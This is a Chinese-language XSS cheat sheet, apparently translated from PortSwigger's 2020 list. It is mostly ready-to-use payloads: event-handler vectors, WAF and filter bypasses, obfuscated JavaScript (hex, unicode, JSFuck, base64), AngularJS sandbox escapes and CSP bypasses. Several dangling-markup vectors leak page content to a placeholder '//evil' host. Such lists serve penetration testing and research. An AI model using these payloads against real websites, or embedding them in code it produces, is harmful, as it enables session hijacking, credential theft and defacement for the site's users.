2020跨站点脚本[xss]速查表 返回雨苁首页
此跨站点脚本(XSS)备忘单包含许多向量,可以帮助您绕过WAF和过滤器。您可以通过事件,标签或浏览器选择向量,每个向量都包含概念证明。该备忘单会在2020年进行定期更新。最近更新:2020年6月4日,星期四08:57:33 +0000。
你可以在这里 下载2020跨站点脚本[xss]速查表pdf文件
目录
事件处理程序
不需要用户交互的事件处理程序
事件:
描述:
标签:
代码:
复制:
激活
打印后
执行脚本后
动画取消
动画结束
动画迭代
动画开始
激活前
启用前
印前
在执行脚本之前
网址更改
开始
onblur
onbounce
oncanplay
oncanplaythrough
加载足够的数据以完全播放资源时触发
<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
兼容性:
结束
onended
onerror
完成时
onfocus
onfocusin
聚焦
hash变化
加载
加载的数据
加载元数据
加载端
onloadstart
onmessage
页面显示
播放中
正在播放
onpopstate
就绪状态变更
重复
调整大小
启动时
ontimeupdate
ontoggle
取消过渡
过渡端
ontransitionrun
未经处理的拒绝
等待中
网络动画
onwebkitanimationstart
onwebkittransitionend
需要用户交互的事件处理程序
事件:
描述:
标签:
代码:
复制:
onauxclick
onbeforecopy
onbeforecut
onbeforepaste
onchange
onclick
oncopy
oncut
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
onfullscreenchange
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmozfullscreenchange
onpaste
onpause
onpointerdown
指针输入
onpointerleave
onpointermove
onpointerout
onpointerover
onpointerrawupdate
onpointerup
onreset
onsearch
提交表单并且输入具有搜索的type属性时触发
<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
兼容性:
onseeked
onseeking
onselect
onsubmit
ontouchend
ontouchmove
ontouchstart
onunload
onvolumechange
onwheel
限制字元
在Firefox上使用异常处理和评估没有括号
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
使用ES6 hasInstance和instanceof与eval时不使用括号
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
使用ES6的无括号hasInstance和instanceof以及eval不带。
<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
构架
通讯协定
带有JavaScript协议的SVG中的Xlink命名空间
<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>
具有JavaScript协议的基本标记重写了相对URL
<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>
其他有用的属性
在页面上的任何位置(甚至在表单外部)单击提交元素
<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>
隐藏的输入:访问键属性可以在通常无法利用的元素上启用XSS
<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
链接元素:访问键属性可以在通常无法利用的元素上启用XSS
<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
通过window.open函数上的参数设置window.name
<a href=# onclick="window.open('http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//','alert(1)')">XSS</a>
通过<iframe>标记中的name属性设置window.name
<iframe name="alert(1)" src="https://portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></iframe>
通过<base>标记中的target属性设置window.name
<base target="alert(1)"><a href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in base tag</a>
通过<a>标记中的target属性设置window.name
<a target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in a tag</a>
通过<img>标记中的usemap属性设置window.name
<img src="validimage.png" width="10" height="10" usemap="#xss"><map name="xss"><area shape="rect" coords="0,0,82,126" target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></map>
通过<form>标记中的target属性设置window.name
<form action="http://subdomain1.portswigger-labs.net/xss/xss.php" target="alert(1)"><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" value="XSS via target in a form"></form>
通过<input>标签类型Submit中的formtarget属性设置window.name
<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type submit"></form>
通过<input>标记类型图像中的formtarget属性设置window.name
<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input name=1 type="image" src="validimage.png" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type image"></form>
特殊标签
编码方式
混淆
具有base64和HTML实体的脚本src中的数据协议
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
脚本src中的数据协议,具有base64和URL编码
<script src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d></script>
客户端模板注入
Vuejs反映
版:
作者:
长度:
向量:
复制:
所有版本
Mario Heiderich(Cure53)和 Sebastian Lekies(Google) Eduardo Vela Nava(Google) Krzysztof Kotowicz(Google)
62
<div v-html="''.constructor.constructor('alert(1)')()">a</div>
AngularJS沙箱逃逸反映
版:
作者:
长度:
向量:
复制:
1.0.1-1.1.5(较短)
Gareth Heyes(PortSwigger)和 Lewis Ardern(Synopsys)
33
{{$on.constructor('alert(1)')()}}
1.2.0-1.2.1
扬·霍恩(Google)
122
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
1.2.6-1.2.18
扬·霍恩(Google)
106
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
1.2.19-1.2.23
Mathias Karlsson(检测)
124
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
1.3.0
GáborMolnár(谷歌)
272
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
)));}}
1.3.3-1.3.18
Gareth Heyes(PortSwigger)
128
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}}
1.3.19
Gareth Heyes(PortSwigger)
102
{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(1)//');}}
1.3.20
Gareth Heyes(PortSwigger)
65岁
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
1.4.0-1.4.9
Gareth Heyes(PortSwigger)
74
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
1.5.0-1.5.8
伊恩·希基(Ian Hickey) 和 加雷斯·海耶斯(Gareth Heyes)(PortSwigger)
79
{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}
1.5.9-1.5.11
扬·霍恩(Google)
517
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
> = 1.6.0(较短)
Gareth Heyes(PortSwigger)和 Lewis Ardern(Synopsys)
33
{{$on.constructor('alert(1)')()}}
基于DOM的AngularJS沙箱转义
(使用orderBy或不使用$ eval)
版:
作者:
长度:
向量:
复制:
1.2.0-1.2.18
扬·霍恩(Google)
118
a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()
1.2.19-1.2.23
Mathias Karlsson(检测)
119
toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)
1.2.24-1.2.26
Gareth Heyes(PortSwigger)
317
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(1)')()
1.4.0-1.4.5
Gareth Heyes(PortSwigger)
75
'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} } };alert(1)//';
AngularJS CSP绕过
版:
作者:
长度:
向量:
复制:
所有版本(Chrome)
Gareth Heyes(PortSwigger)
81
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">
所有版本(Chrome)较短
Gareth Heyes(PortSwigger)
56
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(1)'>
所有版本(所有浏览器)都较短
Gareth Heyes(PortSwigger)
91
<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
无脚本攻击
悬挂标记
使用formaction输入
<form><input type=submit value="XSS" style="width:100%;height:100%" type=submit formaction="//evil?
使用基本目标通过window.name传递标记数据
<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="
使用formtarget通过window.name传递标记数据
<form><input type=submit value="Click me" formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html formtarget="
使用基本href传递数据
<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base href="//evil/
使用iframe窗口名称从页面传递数据
<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
多重发光
WAF绕过全局对象
XSS转换为JavaScript字符串:字符串串联(globalThis)
';globalThis['ale'+'rt'](globalThis['doc'+'ument']['dom'+'ain']);//
XSS转换为JavaScript字符串:注释语法(窗口)
';window[/*foo*/'alert'/*bar*/](window[/*foo*/'document'/*bar*/]['domain']);//
XSS转换为JavaScript字符串:注释语法(个体)
';self[/*foo*/'alert'/*bar*/](self[/*foo*/'document'/*bar*/]['domain']);//
XSS转换为JavaScript字符串:注释语法(此)
';this[/*foo*/'alert'/*bar*/](this[/*foo*/'document'/*bar*/]['domain']);//
XSS转换为JavaScript字符串:注释语法(顶部)
';top[/*foo*/'alert'/*bar*/](top[/*foo*/'document'/*bar*/]['domain']);//
XSS转换为JavaScript字符串:注释语法(父级)
';parent[/*foo*/'alert'/*bar*/](parent[/*foo*/'document'/*bar*/]['domain']);//
XSS转换为JavaScript字符串:注释语法(框架)
';frames[/*foo*/'alert'/*bar*/](frames[/*foo*/'document'/*bar*/]['domain']);//
XSS转换为JavaScript字符串:注释语法(globalThis)
';globalThis[/*foo*/'alert'/*bar*/](globalThis[/*foo*/'document'/*bar*/]['domain']);//
XSS转换为JavaScript字符串:十六进制转义序列(窗口)
';window['\x61\x6c\x65\x72\x74'](window['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS转换为JavaScript字符串:十六进制转义序列(个体)
';self['\x61\x6c\x65\x72\x74'](self['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS转换为JavaScript字符串:十六进制转义序列(此)
';this['\x61\x6c\x65\x72\x74'](this['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS转换为JavaScript字符串:十六进制转义序列(顶部)
';top['\x61\x6c\x65\x72\x74'](top['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS转换为JavaScript字符串:十六进制转义序列(父级)
';parent['\x61\x6c\x65\x72\x74'](parent['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS转换为JavaScript字符串:十六进制转义序列(帧)
';frames['\x61\x6c\x65\x72\x74'](frames['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS转换为JavaScript字符串:十六进制转义序列(globalThis)
';globalThis['\x61\x6c\x65\x72\x74'](globalThis['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//
XSS转换为JavaScript字符串:十六进制转义序列和base64编码的字符串(窗口)
';window['\x65\x76\x61\x6c']('window["\x61\x6c\x65\x72\x74"](window["\x61\x74\x6f\x62"]("WFNT"))');//
XSS转换为JavaScript字符串:十六进制转义序列和base64编码的字符串(自身)
';self['\x65\x76\x61\x6c']('self["\x61\x6c\x65\x72\x74"](self["\x61\x74\x6f\x62"]("WFNT"))');//
XSS转换为JavaScript字符串:十六进制转义序列和base64编码的字符串(此)
';this['\x65\x76\x61\x6c']('this["\x61\x6c\x65\x72\x74"](this["\x61\x74\x6f\x62"]("WFNT"))');//
XSS转换为JavaScript字符串:十六进制转义序列和base64编码的字符串(顶部)
';top['\x65\x76\x61\x6c']('top["\x61\x6c\x65\x72\x74"](top["\x61\x74\x6f\x62"]("WFNT"))');//
XSS转换为JavaScript字符串:十六进制转义序列和base64编码的字符串(父级)
';parent['\x65\x76\x61\x6c']('parent["\x61\x6c\x65\x72\x74"](parent["\x61\x74\x6f\x62"]("WFNT"))');//
XSS转换为JavaScript字符串:十六进制转义序列和base64编码的字符串(帧)
';frames['\x65\x76\x61\x6c']('frames["\x61\x6c\x65\x72\x74"](frames["\x61\x74\x6f\x62"]("WFNT"))');//
XSS转换为JavaScript字符串:十六进制转义序列和base64编码的字符串(globalThis)
';globalThis['\x65\x76\x61\x6c']('globalThis["\x61\x6c\x65\x72\x74"](globalThis["\x61\x74\x6f\x62"]("WFNT"))');//
XSS转换为JavaScript字符串:Unicode转义(窗口)
';window['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS转换为JavaScript字符串:Unicode转义(个体)
';self['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS转换为JavaScript字符串:Unicode转义(this)
';this['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS转换为JavaScript字符串:Unicode转义(顶部)
';top['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS转换为JavaScript字符串:Unicode转义(父代)
';parent['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS转换为JavaScript字符串:Unicode转义(帧)
';frames['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS转换为JavaScript字符串:Unicode转义(globalThis)
';globalThis['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//
XSS转换为JavaScript字符串:Hieroglyphy / JSFuck(窗口)
';window[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS转换为JavaScript字符串:Hieroglyphy / JSFuck(个体)
';self[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS转换为JavaScript字符串:Hieroglyphy / JSFuck(此)
';this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS转换为JavaScript字符串:Hieroglyphy / JSFuck(顶部)
';top[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS转换为JavaScript字符串:象形文字/ JSFuck(父级)
';parent[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS转换为JavaScript字符串:象形文字/ JSFuck(框架)
';frames[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS转换为JavaScript字符串:Hieroglyphy / JSFuck(globalThis)
';globalThis[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
不可能的实验室
标题 | 描述 | 长度限制 | 最近的向量 | 链接 |
---|---|---|---|---|
基本情况,WAF块<[a-zA-Z] | 当您不能使用后跟字母数字字符的开放标记时,本实验将捕获该场景。有时,您可以通过完全绕过WAF来解决此问题,但是当那不是一个选择时,该怎么办?.NET的某些版本具有此行为,并且仅在带有<%tag的旧IE中可以利用。 | 不适用 | 不适用 | 🔗 |
基于脚本的注入,但转义引号,正斜杠和反斜杠 | 我们经常在野外遇到这种情况:您在JavaScript变量中进行了注入,并且可以注入尖括号,但是引号和正斜杠/反斜杠都转义了,因此您不能简单地关闭脚本块。 当您有多个注入点时,我们最需要解决的问题。第一个在基于脚本的上下文中,第二个在HTML中。 | 不适用 | 不适用 | 🔗 |
innerHTML上下文,但不等于 | 您有一个处理查询字符串和URL的站点,URL解码参数,但均等地分割后分配给innerHTML。在这种情况下,<script>不起作用,我们不能使用=来创建事件。 | 不适用 | 不适用 | 🔗 |
基本上下文长度限制 | 本实验的注入发生在基本HTML上下文中,但长度限制为15。Filedescriptor提出了一个可以执行16个字符的JavaScript的向量:<q oncut = alert``,但是您可以击败它吗? | 15 | < | 🔗 |
属性上下文长度限制 | 长度限制为14个字符的属性内的该实验的上下文。我们想出了一个可以用15个字符执行JavaScript的向量:“ oncut = alert” +加号是一个尾随空格。您认为可以击败它吗? | 14 | “ oncut =alert "" | 🔗 |
基本上下文长度限制,任意代码 | 执行JavaScript都很好,但是如果您能做的就是打电话提醒,那有什么用?在本实验中,我们演示了执行任意代码的最短方法。 | 19 | < < q oncut=eval(name) | 🔗 |
属性上下文长度限制任意代码 | 再次调用alert可以证明您可以调用一个函数,但是我们创建了另一个实验室,以使用任意JavaScript查找最短的基于属性的注入。 | 17 | 见链接 | 🔗 |
注射发生在车架内但在身体之前 | 我们收到了来自Twitter的关于下一个实验室的请求。它发生在框架集中,但在带有等于过滤条件的body标签之前。您可能会认为可以插入一个封闭的框架集,然后插入一个脚本块,但这太容易了。 | 不适用 | 不适用 | 🔗 |
经典向量(XSS加密)
随着现代浏览器使用空来源,iframe数据网址不再起作用
<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">
JScript compact是JS的最小版本,未在IE中广泛使用
<a href="#" onclick="jscript.compact:alert(1);">test</a>
<a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>
JScript.Encode允许编码的JavaScript
<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
<a href=# onclick="JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
VBScript.Encoded允许编码的VBScript
<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
<iframe language=VBScript.Encode onload=#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
IE9选择元素和纯文本用于消耗标记
<form action=x><button>XSS</button><select name=x><option><plaintext><script>token="supersecret"</script>
GreyMagic HTML + time漏洞利用(即使在5 docmode下也不再起作用)
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img src=1 onerror=alert(1)>"> </BODY></HTML>